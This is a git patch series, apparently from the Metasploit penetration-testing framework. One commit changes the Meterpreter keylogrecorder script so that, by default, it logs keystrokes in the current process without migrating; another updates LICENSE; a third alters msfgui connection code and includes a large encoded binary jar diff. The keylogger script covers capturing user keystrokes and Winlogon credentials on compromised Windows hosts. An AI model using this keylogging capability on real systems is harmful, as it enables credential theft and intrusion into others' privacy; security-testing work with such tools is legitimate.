From 9e0d17c9211ea4b01f2c68bc3add0a622f455f37 Mon Sep 17 00:00:00 2001 From: shellster Date: Fri, 22 Mar 2013 10:57:10 -0700 Subject: [PATCH 1/3] Update keylogrecorder.rb Added new -c option for value 2, which will start the keylogger in the current process instead of attempting to migrate. I also made this setting the default. --- scripts/meterpreter/keylogrecorder.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb index 0bddc5cdc5..11bce12b62 100644 --- a/scripts/meterpreter/keylogrecorder.rb +++ b/scripts/meterpreter/keylogrecorder.rb @@ -8,7 +8,7 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help menu." ], "-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ], - "-c" => [ true, "Type of key capture. (0) for user key presses or (1) for winlogon credential capture Default is 0." ], + "-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ], "-l" => [ false, "Lock screen when capturing Winlogon credentials."], "-k" => [ false, "Kill old Process"] ) @@ -40,7 +40,7 @@ logfile = logs + ::File::Separator + host + filenameinfo + ".txt" keytime = 30 #Type of capture -captype = 0 +captype = 2 # Function for locking the screen -- Thanks for the idea and API call Mubix def lock_screen print_status("Locking Screen...") @@ -191,7 +191,11 @@ kill = false end } if client.platform =~ /win32|win64/ - if explrmigrate(session,captype,lock, kill) + if (captype.to_i == 2) + if startkeylogger(session) + keycap(session, keytime, logfile) + end + elsif explrmigrate(session,captype,lock, kill) if startkeylogger(session) keycap(session, keytime, logfile) end From d386e6e568983d3dd267421ceb2a569122cb8056 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Mon, 25 Mar 2013 13:47:03 -0500 Subject: [PATCH 2/3] Add last-updated to LICENSE --- LICENSE | 2 ++ 1 file changed, 2 insertions(+) diff --git a/LICENSE b/LICENSE index 92963f6173..7834d671cd 100644 --- a/LICENSE +++ b/LICENSE @@ -12,6 +12,8 @@ License: BSD-3-clause # # This license does not apply to third-party components detailed below. # +# Last updated: 2013-Mar-25 +# Files: data/john/* Copyright: 1996-2011 Solar Designer. From 1b6398d4fddc175097133cd8813ea02bb22d60b6 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Mon, 25 Mar 2013 20:44:48 -0500 Subject: [PATCH 3/3] Service autoconnect, DB fixes First check if database is connected before trying to connect. Autologin in Kali with new token login. --- data/gui/msfgui.jar | Bin 799801 -> 800498 bytes .../src/msfgui/DbConnectDialog.java | 3 +++ .../gui/msfguijava/src/msfgui/MainFrame.java | 2 +- .../src/msfgui/OpenConnectionDialog.java | 16 ++++++++++++++++ .../msfguijava/src/msfgui/RpcConnection.java | 12 +++++++++--- 5 files changed, 29 insertions(+), 4 deletions(-) diff --git a/data/gui/msfgui.jar b/data/gui/msfgui.jar index 73a1040b709fb7c23f26886e8a6b67de35a6ea1c..d2960d1840e84fcee9efd3e9158c13ff32bb1a8d 100755 GIT binary patch delta 51194 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 